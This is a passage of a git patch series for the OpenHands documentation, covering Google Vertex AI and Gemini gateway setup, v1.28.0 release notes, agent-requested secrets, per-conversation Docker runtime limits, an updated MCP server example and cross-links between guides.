model: gemini/gemini-2.5-flash + api_key: os.environ/GOOGLE_API_KEY +``` + +The API key belongs to the LiteLLM gateway. It is separate from an OpenHands +API key for conversations or automations. + +### Google Cloud Platform (Vertex AI) + +Enable Vertex AI in your Google Cloud project. Grant a dedicated service +account the `roles/aiplatform.user` role or equivalent model-inference +permissions, and confirm that `gemini-2.5-flash` is available in your chosen +location. This example uses a service-account JSON file, matching the +Replicated Admin Console path. Follow your organization's policy for +[service-account key creation and rotation](https://cloud.google.com/iam/docs/keys-create-delete). +A workstation `gcloud` login does not supply credentials to the LiteLLM pod. +Create the Secret from a private file: + +```bash +kubectl -n openhands create secret generic google-vertex-gateway \ + --from-file=credentials.json=/path/to/private/service-account.json +``` + +Mount that Secret only in the bundled LiteLLM pod. Add one gateway route per +model. Replace the project ID and location with your own: + +```yaml +litellm-helm: + volumes: + # Retain any existing volumes here. + - name: google-vertex-credentials + secret: + secretName: google-vertex-gateway + volumeMounts: + # Retain any existing volume mounts here. + - name: google-vertex-credentials + mountPath: /etc/gcloud/vertex-credentials.json + subPath: credentials.json + readOnly: true + envVars: + GOOGLE_APPLICATION_CREDENTIALS: /etc/gcloud/vertex-credentials.json + proxy_config: + model_list: + # Retain your existing model entries here. + - model_name: google-vertex-flash + litellm_params: + model: vertex_ai/gemini-2.5-flash + vertex_project: <google-cloud-project-id> + vertex_location: us-central1 +``` + +The credentials file, project, and location are used by LiteLLM to call +Vertex AI. OpenHands and its sandboxes use the gateway alias; they do not +need this file mounted into their pods. + +### Apply the Updated Values + +Use the licensed chart URL and version from your installation, then confirm +the bundled gateway is ready: + +```bash +helm upgrade openhands "$OPENHANDS_CHART_URL" \ + --namespace openhands \ + --version "$OPENHANDS_CHART_VERSION" \ + --values values.yaml \ + --wait --timeout 10m + +kubectl -n openhands rollout status deployment/openhands-litellm +``` + +Adjust the namespace, release name, and Deployment name if they differ in your +installation. To make one of these aliases the installation default, set +`env.LITELLM_DEFAULT_MODEL` to `litellm_proxy/<alias>` in the same values file. + +</Tab> +</Tabs> + +## Select the Model in OpenHands + +For Replicated, select the Google models in the Admin Console and deploy the +configuration. Users do not need to open LiteLLM or enter the Google credential. + +For Helm, set the desired gateway alias as the installation default in your +complete values file before upgrading. For the Vertex example: + +```yaml +env: + LITELLM_DEFAULT_MODEL: litellm_proxy/google-vertex-flash +``` + +For the Gemini API example, use `litellm_proxy/google-ai-studio-flash` instead. +Users do not need a personal Google key to use an administrator-managed route. +Configure the provider credential through your installation's Helm values or +Admin Console; the Replicated credential distribution described above still applies. + +On the tested chart `0.74.0` / OpenHands `1.67.0`, a fresh user's `Default` +profile resolved to `openhands/google-vertex-flash` with the internal gateway +base URL `http://openhands-litellm.openhands.svc.cluster.local:4000`. No user +profile override or provider key entry was required. Existing users may retain +previously selected profiles; confirm the model selected for the new conversation. + +To offer both Helm aliases as administrator-managed profiles, open the +organization's **Language Model (LLM)** defaults at `/settings/org-defaults`. +Choose **Add LLM Profile → Advanced** and use the internal gateway URL: + + +| Field | Vertex AI | Gemini API | +| --- | --- | --- | +| Name (Optional) | `Google-Vertex-Flash` | `Google-Gemini-Flash` | +| Custom Model | `openhands/google-vertex-flash` | `openhands/google-ai-studio-flash` | +| Base URL | `http://openhands-litellm.openhands.svc.cluster.local:4000` | `http://openhands-litellm.openhands.svc.cluster.local:4000` | + +OpenHands supplies the managed gateway credential, so no key entry is required. +On OpenHands `1.67.0`, saving on this page also makes the profile the +organization's active default. Re-activate the intended default after testing. + +Use your actual gateway Service name and namespace. The selected model points to +the bundled gateway alias; configure its provider route through Helm values +or the Replicated Admin Console. + +The Helm gateway calls Vertex AI. The sandbox calls the gateway, so this path does +not require mounting Google credentials into the sandbox or rebuilding the +agent-server image with `ENABLE_VERTEX=1`. That build flag applies when the +agent-server calls `vertex_ai/*` directly; see +[Vertex AI dependencies](/openhands/usage/llms/google-llms#vertex-ai-dependencies). + +## Start Using the Model + +1. Sign in and confirm the conversation UI loads without an additional backend + URL or API-key prompt. If it prompts, check the Canvas configuration in the + [Helm installation guide](/enterprise/k8s-install/installation). +2. Start a new conversation using the installation's `Default` profile. +3. Ask the agent to run `pwd`, create a small workspace file and read it back. +4. Confirm the sandbox reaches `READY`, tool results contain the expected path + and file contents, and the agent completes its response. A successful direct + gateway request alone does not validate the OpenHands conversation path. + +<Note> +The Vertex route passed end-to-end tests on GKE with Helm chart `0.74.0`, +OpenHands `1.67.0`, agent-server `1.49.6-python`, and `gemini-2.5-flash` in +`us-central1`. The unmodified agent-server image ran terminal and file tools +and completed the conversation. A fresh conversation using a named organization +profile also passed terminal file operations through the OpenHands API on this +release. The organization defaults UI also saved the named Vertex profile with the +expected URL. Fresh startup for that UI-created profile remains unvalidated. On Replicated release `0.74.0`, the Admin +Console Vertex configuration also passed GitHub login, terminal file operations +and a read-only repository conversation. The Gemini API examples were checked +against the provider and chart configuration; they have not yet been validated +with an end-to-end conversation in this evaluation. +</Note> + +## Troubleshooting + +<AccordionGroup> +<Accordion title="Google AI Studio authentication error"> +Check the Gemini API key in the Kubernetes Secret and confirm that it can use +the selected model. The model route must use `gemini/`, not `vertex_ai/`. +</Accordion> +<Accordion title="Vertex AI permission or credential error"> +Check that Vertex AI is enabled, the service account can call the model, the +Secret contains a valid JSON file, and the LiteLLM pod mounts it at the path +in `GOOGLE_APPLICATION_CREDENTIALS`. +</Accordion> +<Accordion title="Model not found or unavailable"> +Check the model ID and the Google API type. For Vertex AI, also check the +project and location. Model availability can differ between Google AI Studio +and Vertex AI and across locations. +</Accordion> +<Accordion title="The profile cannot reach the gateway"> +Check the internal LiteLLM Service DNS name, namespace, and selected model alias. +Confirm the LiteLLM Deployment is ready. +</Accordion> +<Accordion title="Google `429` or repeated retries"> +Check request and token quotas, billing, and model capacity for the chosen API. +A small direct completion can succeed while a larger agent prompt is rate limited. +</Accordion> +<Accordion title="Sandbox cannot start"> +Check runtime registration, pod readiness and Kubernetes events using the +[Troubleshooting guide](/enterprise/troubleshooting). For GKE, verify your Sysbox +installation. A runtime startup failure does not by itself establish a Google +credential problem. +</Accordion> +</AccordionGroup> + +For provider-specific configuration, see LiteLLM's +[Google AI Studio](https://docs.litellm.ai/docs/providers/gemini) and +[Vertex AI](https://docs.litellm.ai/docs/providers/vertex) references. + +If your organization uses an existing external gateway, follow +[External LLM Gateways](/enterprise/integrations/external-llm-gateways). diff --git a/enterprise/integrations/overview.mdx b/enterprise/integrations/overview.mdx index 48f957faa..dad7695b7 100644 --- a/enterprise/integrations/overview.mdx +++ b/enterprise/integrations/overview.mdx @@ -147,6 +147,9 @@ See [MCP Settings](/openhands/usage/settings/mcp-settings) to add and configure <Card title="AWS Bedrock" icon="cloud" href="/enterprise/integrations/aws-bedrock-llm-gateway"> Connect Bedrock models through the bundled gateway on Replicated or Helm. </Card> + <Card title="Google Models" icon="google" href="/enterprise/integrations/google-llm-gateway"> + Connect Vertex AI and Gemini API models through the bundled gateway on Replicated or Helm. + </Card> <Card title="External Observability Platforms" icon="chart-line" href="/enterprise/integrations/observability-platforms"> Send conversation traces to your own OTLP-compatible platform, such as Langfuse, Honeycomb, or Tempo. </Card> diff --git a/enterprise/k8s-install/installation.mdx b/enterprise/k8s-install/installation.mdx index 23ae67358..8dacde85c 100644 --- a/enterprise/k8s-install/installation.mdx +++ b/enterprise/k8s-install/installation.mdx @@ -363,6 +363,9 @@ overrides on the same release — edit your `values.yaml` and apply with <Card title="Analytics" icon="chart-line" href="/enterprise/analytics"> Enable conversation analytics with Laminar. </Card> + <Card title="Google Models" icon="google" href="/enterprise/integrations/google-llm-gateway"> + Configure Vertex AI or Gemini API routes in the bundled gateway. + </Card> <Card title="Automations" icon="clock" href="/enterprise/k8s-install/automations"> Run scheduled or event-triggered tasks on a Helm installation. </Card> diff --git a/enterprise/vm-install/admin-console-configuration.mdx b/enterprise/vm-install/admin-console-configuration.mdx index 162b11028..d2f4de41e 100644 --- a/enterprise/vm-install/admin-console-configuration.mdx +++ b/enterprise/vm-install/admin-console-configuration.mdx @@ -111,6 +111,7 @@ Select the administrator-managed LLM provider. The Admin Console shows only the - For AWS Bedrock, use an EC2 instance profile where possible. Pods must be able to reach the instance metadata service, and the role needs model invocation permissions. See the [AWS Bedrock gateway guide](/enterprise/integrations/aws-bedrock-llm-gateway) for model IDs, inference profiles, and verification. - For custom OpenAI-compatible endpoints, prefix model names with `openai/`. - Model lists accept one model per line. +- For Google, see [Google LLM Gateway](/enterprise/integrations/google-llm-gateway) for Vertex AI and Gemini API configuration and verification. ### Bring Your Own Key From 3b83fe46fd0bb7e55d444ab5cdbdc9a882f71e7c Mon Sep 17 00:00:00 2001 From: OpenHands Bot <contact@all-hands.dev> Date: Mon, 19 Oct 2026 14:27:48 -0400 Subject: [PATCH 84/97] docs: update documentation for OpenHands v1.28.0 (#978) * docs: update documentation for OpenHands v1.28.0 Add release notes page for Agent Canvas 1.28.0 and update the affected docs based on the release review in OpenHands/docs#977. - Add openhands/usage/agent-canvas/release-notes/v1.28.0.mdx and a docs.json navigation entry. - secrets-settings: document agent-requested secrets (inline chat card, value never shown, status-only result, local-backend scope). - prebuilt-automations: document the six templates hidden on self-hosted cloud backends. - conversations: document the missing-runtime archived presentation and drop the removed overview-drawer panels. - plugins: document the Local launch plugin-parameter limitation. - application-settings: add the supported UI languages, including Bahasa Indonesia. Co-authored-by: openhands <openhands@all-hands.dev> * Remove self-hosted recommended automations section Removed section about recommended automations on self-enterprise when inside agent canvas section --------- Co-authored-by: openhands <openhands@all-hands.dev> Co-authored-by: Devin <devinvinson@gmail.com> --- docs.json | 1 + .../usage/agent-canvas/conversations.mdx | 4 +- openhands/usage/agent-canvas/plugins.mdx | 6 +++ .../agent-canvas/prebuilt-automations.mdx | 2 - .../agent-canvas/release-notes/v1.28.0.mdx | 43 +++++++++++++++++++ .../usage/settings/application-settings.mdx | 25 +++++++++++ openhands/usage/settings/secrets-settings.mdx | 18 ++++++++ 7 files changed, 96 insertions(+), 3 deletions(-) create mode 100644 openhands/usage/agent-canvas/release-notes/v1.28.0.mdx diff --git a/docs.json b/docs.json index 84e7643cc..b76d7712d 100644 --- a/docs.json +++ b/docs.json @@ -325,6 +325,7 @@ { "group": "Release Notes", "pages": [ + "openhands/usage/agent-canvas/release-notes/v1.28.0", "openhands/usage/agent-canvas/release-notes/v1.27.0", "openhands/usage/agent-canvas/release-notes/v1.26.0", "openhands/usage/agent-canvas/release-notes/v1.25.0", diff --git a/openhands/usage/agent-canvas/conversations.mdx b/openhands/usage/agent-canvas/conversations.mdx index 6660cd931..bef4d4348 100644 --- a/openhands/usage/agent-canvas/conversations.mdx +++ b/openhands/usage/agent-canvas/conversations.mdx @@ -67,7 +67,7 @@ These voice input settings are stored in this browser only. The API key is kept ## Conversation Overview Panel -The conversation overview panel displays project context for the active conversation, including workspace information, git state, and loaded resources such as skills, MCP servers, and automations. +The conversation overview panel displays project context for the active conversation: workspace information and git state, including changes, repository, branch, commits, and pull requests. Toggle the overview using the info control in the conversation header. The panel peeks beside the chat area and closes when you open the Files drawer. @@ -255,6 +255,8 @@ The conversation disappears from the default sidebar list. An archived conversat After an installation switches from host-local conversation runtimes to Docker runtimes, conversations created under the previous local runtime have no Docker provisioning identity. Agent Canvas presents these conversations as archived. Their persisted event history remains readable, and Agent Canvas does not open a WebSocket connection for them. </Note> +A conversation whose runtime is missing is treated the same way. When a conversation's runtime is no longer available (for example, its sandbox was removed), Agent Canvas hides it from the default list, shows it under `Show archived` with the `Archived` chip, and its menu offers no archive or unarchive action, because the runtime-derived archive cannot be restored from the conversation. This is different from an errored conversation: a conversation whose runtime is in an error state stays visible with its error indicator and is not dimmed. + ## Related Guides - [Fork a Conversation](/sdk/guides/convo-fork) diff --git a/openhands/usage/agent-canvas/plugins.mdx b/openhands/usage/agent-canvas/plugins.mdx index 7c4883644..7e6192c4a 100644 --- a/openhands/usage/agent-canvas/plugins.mdx +++ b/openhands/usage/agent-canvas/plugins.mdx @@ -69,6 +69,12 @@ When a conversation has explicitly attached plugins, open the conversation tools This view lists plugins attached when the conversation was created. It is display-only and does not include every ambient or installed plugin that might also be available to the backend. +## Local Launch Parameters + +A plugin launch link can carry `parameters` that the user reviews or edits before the conversation starts. On a local backend, Agent Canvas does not deliver those parameters to the agent, because the local launch request carries only the plugin's source, ref, and repo path. + +When a local launch link contains nonempty plugin parameters, Agent Canvas shows an explanation and disables `Start` instead of silently discarding the values. Parameters that are omitted, `null`, or `{}` launch normally. Launching a plugin with editable parameters requires a cloud backend. + ## Trust and Backend Scope Plugins can add instructions, tools, hooks, and external integrations. Install plugins only from sources you trust, and review what a plugin contains before enabling it. diff --git a/openhands/usage/agent-canvas/prebuilt-automations.mdx b/openhands/usage/agent-canvas/prebuilt-automations.mdx index 2bef231c1..ff9927b1a 100644 --- a/openhands/usage/agent-canvas/prebuilt-automations.mdx +++ b/openhands/usage/agent-canvas/prebuilt-automations.mdx @@ -30,8 +30,6 @@ In the `Automate` view, you can: ## How Creation Flows Usually Start -The `Automations` view is mainly for browsing and managing automations that already exist. - In practice, new automation setup starts in one of two ways: - From a conversation, where you ask OpenHands to `create an automation` for you diff --git a/openhands/usage/agent-canvas/release-notes/v1.28.0.mdx b/openhands/usage/agent-canvas/release-notes/v1.28.0.mdx new file mode 100644 index 000000000..95b4835b1 --- /dev/null +++ b/openhands/usage/agent-canvas/release-notes/v1.28.0.mdx @@ -0,0 +1,43 @@ +--- +title: Agent Canvas 1.28.0 +description: Release notes for Agent Canvas version 1.28.0 +--- + +# Agent Canvas 1.28.0 + +Released October 19, 2026. + +[View the full release on GitHub](https://github.com/OpenHands/OpenHands/releases/tag/v1.28.0). + +## Highlights + +- **Bahasa Indonesia (`id`) UI locale** — Bahasa Indonesia joins the Agent Canvas language selector as a fully translated UI language. See [Supported Languages](/openhands/usage/settings/application-settings#supported-languages). +- **Agent-requested secrets, inline in the chat** — The agent can ask for a credential during a conversation with the `request_secret` tool. The request appears as a card in the chat, right after the tool call, with the agent's reason and a prefilled name. Saving attaches the secret to the running conversation and reports only a status to the agent; the secret value never appears in the chat. See [Agent-Requested Secrets](/openhands/usage/settings/secrets-settings#agent-requested-secrets). +- **Reading-pace streaming with word fade-in** — Streamed replies reveal at a steady reading pace with a soft word fade-in, so long answers are easier to follow while they arrive. +- **Getting started checklist close control** — The Getting Started checklist can be dismissed directly. `Settings > Application` remains the source of truth for whether it is shown. See [Application Settings](/openhands/usage/settings/application-settings#getting-started-checklist). +- **Recommended automations on self-hosted instances** — On a cloud backend that reports itself as self-hosted (OpenHands Enterprise), six catalog templates that overlap a built-in integration, need a user-managed secret, or are covered by the Create Automation UI are no longer offered on the Recommended automations surfaces. See [Setup a Pre-built Automation](/openhands/usage/agent-canvas/prebuilt-automations#recommended-automations-on-self-hosted-instances). +- **Azure DevOps repositories from every organization** — On a cloud backend, the Azure DevOps repository picker uses the same installation flow as GitHub and lists repositories from every organization the user belongs to, instead of only the first. +- **Missing-runtime conversations presented as archived** — A conversation whose runtime is missing (rather than errored) is hidden by default, appears under `Show archived` with the `Archived` chip, and offers no archive action in its menu. See [Archive a Conversation](/openhands/usage/agent-canvas/conversations#archive-a-conversation). +- **Agent profile kept on per-launch LLM picks and in `/new`** — A named OpenHands profile keeps its agent profile when you pick an LLM for a single launch, and `/new` and local child conversations launch from the active or parent profile. See [Agent Profiles](/openhands/usage/agent-canvas/agent-profiles). + +## Fixes + +- Resuming a paused cloud conversation wakes the sandbox instead of failing, and a message sent while a cloud sandbox is starting is held and delivered when the runtime becomes reachable. +- Azure DevOps repository listing on a cloud backend now covers every organization the user belongs to. +- A conversation whose runtime is missing is treated as archived everywhere, while an errored conversation stays visible with its error indicator. +- Local plugin launches with unsupported parameters are rejected with an explanation instead of silently discarding the configuration. See [Plugins in Agent Canvas](/openhands/usage/agent-canvas/plugins#local-launch-parameters). +- Removed unreachable sections from the conversation overview drawer. +- Theme, readability, and accessibility fixes across backends, settings, automations, chat, markdown tables and links, toasts, critic results, hook diagnostics, right-to-left switch thumbs, and phone-width modals. +- Settings and profile form fixes: new LLM profile values and application edits are preserved after a failed save, taken names show dedicated messages, the active backend's values show after a switch, 4xx save responses are not retried, and the server's save-failure reason is shown. +- Automations keep the existing bundle when editing a custom automation, show the reason when a draft save is refused, show saved draft errors before historical test status, and start a Custom schedule from the preset it replaces. + +## Maintenance + +- Bumped agent-server to 1.55.0 and 1.55.1. +- Bumped the automation package to 1.21.0. +- Updated the in-repo `verify-openhands` skill and its feature map. + +## Full Changelog + +- [GitHub release notes](https://github.com/OpenHands/OpenHands/releases/tag/v1.28.0) +- [Compare v1.27.1 to v1.28.0](https://github.com/OpenHands/OpenHands/compare/v1.27.1...v1.28.0) diff --git a/openhands/usage/settings/application-settings.mdx b/openhands/usage/settings/application-settings.mdx index 7eb4d4478..3d1957088 100644 --- a/openhands/usage/settings/application-settings.mdx +++ b/openhands/usage/settings/application-settings.mdx @@ -10,6 +10,31 @@ description: Configure application-level settings for OpenHands. The Application settings allows you to customize various application-level behaviors in OpenHands, including language preferences, notification settings, custom Git author configuration and more. +## Supported Languages + +The Agent Canvas interface is available in the following languages. Choose one from the language selector in `Settings > Application`. + +| Language | Code | +| --- | --- | +| English | `en` | +| 日本語 | `ja` | +| 简体中文 | `zh-CN` | +| 繁體中文 | `zh-TW` | +| 한국어 | `ko-KR` | +| Norsk | `no` | +| Arabic | `ar` | +| Deutsch | `de` | +| Français | `fr` | +| Italiano | `it` | +| Português | `pt` | +| Español | `es` | +| Català | `ca` | +| Türkçe | `tr` | +| Українська | `uk` | +| Bahasa Indonesia | `id` | + +The selected language persists across sessions. + ## Setting Maximum Budget Per Conversation To limit spending, go to `Settings > Application` and set a maximum budget per conversation (in USD) diff --git a/openhands/usage/settings/secrets-settings.mdx b/openhands/usage/settings/secrets-settings.mdx index c648a0b1e..59ae1a6bc 100644 --- a/openhands/usage/settings/secrets-settings.mdx +++ b/openhands/usage/settings/secrets-settings.mdx @@ -39,3 +39,21 @@ For security, the existing value is not displayed. Enter a replacement value whe - You can access them in your code using standard environment variable access methods. For example, if you create a secret named `OPENAI_API_KEY`, you can access it in your code as `process.env.OPENAI_API_KEY` in JavaScript or `os.environ['OPENAI_API_KEY']` in Python. + +## Agent-Requested Secrets + +Secrets saved in `Settings > Secrets` reach conversations that start after the save. During a conversation, the agent can also ask for a credential it needs for the current task. + +The agent uses its `request_secret` tool to ask for a secret. The request appears as a **The agent needs a secret** card inline in the chat, immediately after the tool call, with the agent's reason for the request and a prefilled name. + +The request does not block the conversation: the agent can keep working on anything that does not need the secret while the card is pending, and you can answer whenever you are ready. The card stays in place if you reload the conversation. + +When you fill in the value and select `Add secret`: + +- The secret is saved to your secrets and attached to the running conversation, so the agent can use it right away. +- The agent receives only a status result. The secret value never appears in the chat, in the agent's events, or in the tool arguments. +- If you select `Cancel`, the agent is told the request was not saved, and no secret is created. + +If the requested name is already saved, Agent Canvas attaches the existing secret to the running conversation and does not show a card. + +The agent can request a secret only on a local backend. On other backends, use `Settings > Secrets` to save the credential and start a new conversation. From cebbf5680f908ed6213a318bfc8986372c2bbed3 Mon Sep 17 00:00:00 2001 From: Rajiv Shah <rshah@pobox.com> Date: Tue, 20 Oct 2026 08:10:59 -0500 Subject: [PATCH 85/97] docs: cross-link cloud installation and LLM gateway guides (#979) * docs: link GKE guide to Google LLM gateway setup * docs: cross-link AWS and Azure installation gateway guides --- enterprise/k8s-install/aks.mdx | 3 +++ enterprise/k8s-install/eks.mdx | 3 +++ enterprise/k8s-install/gke.mdx | 2 +- enterprise/vm-install/aws.mdx | 3 +++ enterprise/vm-install/azure.mdx | 2 +- 5 files changed, 11 insertions(+), 2 deletions(-) diff --git a/enterprise/k8s-install/aks.mdx b/enterprise/k8s-install/aks.mdx index 946288b30..8aa719cd7 100644 --- a/enterprise/k8s-install/aks.mdx +++ b/enterprise/k8s-install/aks.mdx @@ -172,6 +172,9 @@ Follow [DNS and TLS](/enterprise/k8s-install/dns-and-tls) for trusted certificat and hostname configuration. Use flat runtime hostnames with Traefik standard Ingress. If provisioning certificates manually, assign renewal and Secret-update ownership. +For Azure model configuration with Helm, see the +[Azure gateway guide](/enterprise/integrations/azure-llm-gateway). + ## Next Steps <CardGroup cols={2}> diff --git a/enterprise/k8s-install/eks.mdx b/enterprise/k8s-install/eks.mdx index 7080c4b2a..8b70c9490 100644 --- a/enterprise/k8s-install/eks.mdx +++ b/enterprise/k8s-install/eks.mdx @@ -119,6 +119,9 @@ service: Then set up certificates and DNS records for the OpenHands hostnames, see [DNS and TLS](/enterprise/k8s-install/dns-and-tls). +For Amazon Bedrock model configuration with Helm, see the +[AWS Bedrock gateway guide](/enterprise/integrations/aws-bedrock-llm-gateway). + ## Next Steps <CardGroup cols={2}> diff --git a/enterprise/k8s-install/gke.mdx b/enterprise/k8s-install/gke.mdx index 24d28a015..d24a114dd 100644 --- a/enterprise/k8s-install/gke.mdx +++ b/enterprise/k8s-install/gke.mdx @@ -132,7 +132,7 @@ The evaluation used manual DNS-01 issuance; automatic renewal was not configured Configure your provider through the bundled gateway in the shared Helm installation values. For Vertex AI, provider credentials belong to the LiteLLM gateway; users select the configured model in OpenHands. The validated configuration and model -checks are recorded in the companion Google gateway guide. +checks are recorded in the [companion Google gateway guide](/enterprise/integrations/google-llm-gateway). ## Validate the Installation diff --git a/enterprise/vm-install/aws.mdx b/enterprise/vm-install/aws.mdx index 71dbcdf2f..22d40e3d6 100644 --- a/enterprise/vm-install/aws.mdx +++ b/enterprise/vm-install/aws.mdx @@ -250,6 +250,9 @@ from that provider. For example, if you use Anthropic, enter your API key from the [Anthropic Console](https://console.anthropic.com/). +For Amazon Bedrock, see the [AWS Bedrock gateway guide](/enterprise/integrations/aws-bedrock-llm-gateway) +for Replicated configuration and verification. + ### Database Configuration By default, OpenHands Enterprise uses a bundled PostgreSQL database. If you need to use your diff --git a/enterprise/vm-install/azure.mdx b/enterprise/vm-install/azure.mdx index afcfff6de..1d2f450fb 100644 --- a/enterprise/vm-install/azure.mdx +++ b/enterprise/vm-install/azure.mdx @@ -585,7 +585,7 @@ to collect evidence before adding optional integrations. Azure hosting and Azure model inference are separate. The Azure VM installation and Anthropic workflow in this guide were validated on Replicated `0.74.0`. Keep **Anthropic (Claude)** selected for this installation. Do not select -**Azure** in **LLM Configuration** for this validated path. Azure OpenAI gateway +**Azure** in **LLM Configuration** for this validated path. [Azure OpenAI gateway](/enterprise/integrations/azure-llm-gateway) setup is deferred until a release contains the required provider fix and that released package has been validated. </Note> From 2ae24ad19e64d69ffc54e09e68af3de203cfffa0 Mon Sep 17 00:00:00 2001 From: Presend <presendapp@gmail.com> Date: Tue, 20 Oct 2026 20:42:10 +0200 Subject: [PATCH 86/97] docs: use GitHub's official MCP server in the plugin example, bump repomix pin (#949) The MCP configuration example in overview/plugins.mdx ran `uvx mcp-server-github`, a name that is not registered on PyPI: today the server fails to start, It now uses GitHub's official server (ghcr.io/github/github-mcp-server), as documented in its README. sdk/guides/mcp.mdx pinned repomix@1.4.2, affected by GHSA-9mm9-rqhj-j5mx (high) and GHSA-hwpp-h97w-2h3j; bumped to 1.18.1, the current release. --- overview/plugins.mdx | 10 +++++++--- sdk/guides/mcp.mdx | 4 ++-- 2 files changed, 9 insertions(+), 5 deletions(-) diff --git a/overview/plugins.mdx b/overview/plugins.mdx index 320f6f0df..da9e49f91 100644 --- a/overview/plugins.mdx +++ b/overview/plugins.mdx @@ -229,10 +229,14 @@ The `author` field can also be a simple string such as `"Your Name"`. "args": ["mcp-server-fetch"] }, "github": { - "command": "uvx", - "args": ["mcp-server-github"], + "command": "docker", + "args": [ + "run", "-i", "--rm", + "-e", "GITHUB_PERSONAL_ACCESS_TOKEN", + "ghcr.io/github/github-mcp-server" + ], "env": { - "GITHUB_TOKEN": "${GITHUB_TOKEN}" + "GITHUB_PERSONAL_ACCESS_TOKEN": "${GITHUB_TOKEN}" } } } diff --git a/sdk/guides/mcp.mdx b/sdk/guides/mcp.mdx index 531458cfe..1f46c2184 100644 --- a/sdk/guides/mcp.mdx +++ b/sdk/guides/mcp.mdx @@ -30,7 +30,7 @@ import RunExampleCode from "/sdk/shared-snippets/how-to-run-example.mdx"; }, "repomix": { "command": "npx", - "args": ["-y", "repomix@1.4.2", "--mcp"] + "args": ["-y", "repomix@1.18.1", "--mcp"] }, } } @@ -128,7 +128,7 @@ tools = [ mcp_config = { "mcpServers": { "fetch": {"command": "uvx", "args": ["mcp-server-fetch"]}, - "repomix": {"command": "npx", "args": ["-y", "repomix@1.4.2", "--mcp"]}, + "repomix": {"command": "npx", "args": ["-y", "repomix@1.18.1", "--mcp"]}, } } # Agent From 339de53ec95a6b85b5b0f61973aa3ed2e013a91f Mon Sep 17 00:00:00 2001 From: Vasco Schiavo <115561717+VascoSch92@users.noreply.github.com> Date: Wed, 21 Oct 2026 13:27:07 +0200 Subject: [PATCH 87/97] docs(agent-canvas): per-conversation runtime and client container limits (#983) * docs(agent-canvas): per-conversation runtime and client container limits Document OH_CONVERSATION_RUNTIME_SELECTABLE, and warn that a start request's container.memory/cpus replace the server's container limits rather than being capped by them. * docs(agent-canvas): precise runtime choices and the launcher's bind address Worktree is offered only with a folder open, container limits are sent whenever they are set, and selectable mode makes the launcher listen on all interfaces like Docker mode. --- .../backend-setup/docker-execution.mdx | 27 +++++++++++++++++-- 1 file changed, 25 insertions(+), 2 deletions(-) diff --git a/openhands/usage/agent-canvas/backend-setup/docker-execution.mdx b/openhands/usage/agent-canvas/backend-setup/docker-execution.mdx index 032b651a5..2314b7059 100644 --- a/openhands/usage/agent-canvas/backend-setup/docker-execution.mdx +++ b/openhands/usage/agent-canvas/backend-setup/docker-execution.mdx @@ -33,6 +33,28 @@ agent-canvas --port 9000 The launcher forwards the variables to the local Agent Server. No separate frontend configuration is required. +## Choose the Runtime per Conversation + +By default the server runs every conversation the same way. To let each conversation choose between running on the host and running in its own container, set `OH_CONVERSATION_RUNTIME_SELECTABLE=1`: + +```bash +OH_CONVERSATION_RUNTIME_SELECTABLE=1 \ +OH_CONVERSATION_IMAGE=ghcr.io/openhands/agent-server:latest-python \ +agent-canvas +``` + +The runtime selector on Home then offers **Docker** next to **Local** (and **Worktree** when a folder is open), and **Settings → Runtime** lets you pick the default runtime. Conversations that do not ask for a runtime use `OH_CONVERSATION_RUNTIME`. + +<Note> + As with `OH_CONVERSATION_RUNTIME=docker`, the launcher then listens on all network interfaces (`0.0.0.0`) so conversation containers can reach services on the host, and it no longer embeds the session API key in the page. Set `OH_BIND_HOST` to choose another address. +</Note> + +A start request can also set the container's memory and CPU limits (`container.memory` and `container.cpus`); Settings → Runtime sends them when you set them there. Limits left unset use `OH_CONVERSATION_CONTAINER_MEMORY` and `OH_CONVERSATION_CONTAINER_CPUS`. + +<Warning> + Client-supplied `container.memory` and `container.cpus` replace the server's `OH_CONVERSATION_CONTAINER_MEMORY` and `OH_CONVERSATION_CONTAINER_CPUS`; they are not capped by them. Anyone who can start a conversation on the server can ask for a larger container. Do not rely on these variables as an upper bound on a server that other people can reach. +</Warning> + ## How Isolation Works For each conversation, the outer Agent Server starts a dedicated Docker container running a full Agent Server. The container starts lazily when the conversation first needs it. @@ -96,9 +118,10 @@ docker inspect <container-id> --format '{{.HostConfig.CapDrop}} {{.HostConfig.Se | Variable | Default | Purpose | |----------|---------|---------| | `OH_CONVERSATION_RUNTIME` | `local` | Set to `docker` to run each conversation in its own container. | +| `OH_CONVERSATION_RUNTIME_SELECTABLE` | unset | Set to `1` to let each conversation choose the local or Docker runtime. See [Choose the Runtime per Conversation](#choose-the-runtime-per-conversation). | | `OH_CONVERSATION_IMAGE` | `ghcr.io/openhands/agent-server:latest-python` | Agent Server image used for conversation containers. | -| `OH_CONVERSATION_CONTAINER_MEMORY` | `4g` | Memory limit for each container. | -| `OH_CONVERSATION_CONTAINER_CPUS` | `2.0` | CPU limit for each container. | +| `OH_CONVERSATION_CONTAINER_MEMORY` | `4g` | Memory limit for each container, unless the start request sets its own. | +| `OH_CONVERSATION_CONTAINER_CPUS` | `2.0` | CPU limit for each container, unless the start request sets its own. | | `OH_CONVERSATION_CONTAINER_PIDS_LIMIT` | `512` | PID limit for each container. | | `OH_CONVERSATION_CONTAINER_STARTUP_TIMEOUT` | `120` | Seconds to wait for a container to become healthy. | | `OH_CONVERSATION_IDLE_TTL_SECONDS` | `1200` | Seconds a conversation can be idle before its container is stopped. | From cdeae6147fd6ca9bab1df9d62511850c917d1dff Mon Sep 17 00:00:00 2001 From: Engel Nyst <engel.nyst@gmail.com> Date: Thu, 22 Oct 2026 05:00:08 +0200 Subject: [PATCH 88/97] docs(sdk): distinguish local fork tags from remote titles (#926) Document local title deprecation, retain the server-managed remote title path, and sync the standalone fork example with SDK PR #4814. Co-authored-by: openhands <openhands@all-hands.dev> --- sdk/guides/convo-fork.mdx | 117 +++++++++++++++++++++++++++++--------- 1 file changed, 91 insertions(+), 26 deletions(-) diff --git a/sdk/guides/convo-fork.mdx b/sdk/guides/convo-fork.mdx index bf4c13f6a..a22999583 100644 --- a/sdk/guides/convo-fork.mdx +++ b/sdk/guides/convo-fork.mdx @@ -25,8 +25,8 @@ source = Conversation(agent=agent, workspace=workspace) source.send_message("Analyse the sales report.") source.run() -# Fork the conversation with a title -fork = source.fork(title="Follow-up exploration") +# Fork the conversation +fork = source.fork() # The fork has the same events — agent remembers the full history fork.send_message("Now focus on the EMEA region.") @@ -56,7 +56,6 @@ alt_agent = Agent(llm=alt_llm, tools=[Tool(name=TerminalTool.name)]) fork = source.fork( agent=alt_agent, - title="GPT-4o experiment", tags={"variant": "B"}, ) fork.run() # Same history, different model @@ -64,18 +63,38 @@ fork.run() # Same history, different model 